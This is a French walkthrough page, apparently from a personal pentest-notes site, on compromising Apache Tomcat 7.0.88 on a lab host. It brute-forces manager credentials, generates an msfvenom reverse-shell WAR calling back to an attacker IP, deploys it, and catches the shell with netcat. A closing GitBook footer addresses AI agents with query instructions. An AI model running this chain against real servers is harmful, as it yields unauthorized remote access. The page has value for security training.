> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/tomcat-cms-exploitation/tomcat-.war-file.md).

# Fichier WAR Tomcat

Le port 8080 héberge **Apache Tomcat**. `whatweb` identifie la version **7.0.88**, qui est connu pour être vulnérable.

<div data-full-width="true"><figure><img src="/files/57f5f9d92eeb2ce56ed77934d5de2831e188a0cd" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/6e7cbac47c2a77c76dc1b522586ec37ae9b1164c" alt=""><figcaption></figcaption></figure>

### Fuite d'information

**Connexion au panneau d'administration**

<figure><img src="/files/6e63c8d45a1f517edfe0234f1bbe6f41c9ab726f" alt=""><figcaption></figcaption></figure>

Essayez d'accéder à `/manager/html` avec des identifiants par défaut tels que `admin:admin`, mais cela échoue.

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

**Attaque par force brute sur les identifiants**

Utilisez la SecLists `tomcat-betterdefaultpasslist.txt` dictionnaire pour bruteforcer les identifiants :

Utilisez un script Python pour automatiser cette tâche :

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**Résultat :** Les identifiants valides sont :/ `tomcat:s3cret`

<figure><img src="/files/9f91a26ac3128e8487005ced568c960f9892d226" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/70b5a560eccdf50eff5cb0472b285b1ba4b9ec09" alt=""><figcaption></figcaption></figure>

### Vulnérabilité Tomcat :

**1. Génération du fichier WAR :**/ Utiliser `msfvenom` pour créer un fichier WAR contenant un shell inversé :

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="/files/36f4cf2abaa1fe45f499fc0df1874b72ae878f4e" alt=""><figcaption></figcaption></figure>

**2. Déploiement via Tomcat Manager :**/ Téléchargez le fichier WAR via `/manager/html`.

<figure><img src="/files/79ae4dfbc936bab808b491d49cc01b5c50513a6a" alt="" width="563"><figcaption></figcaption></figure>

**3. Listener du shell inversé :**/ Mettez en place un listener pour intercepter la connexion inversée :

```bash
rlwrap nc -nlvp 443
```

Déclencher le fichier déployé (`/reverse`) fournit un shell interactif sur la cible.

<figure><img src="/files/b7c9d4c8ef620fafdb9656e4d5ecdd93749438ba" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/tomcat-cms-exploitation/tomcat-.war-file.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
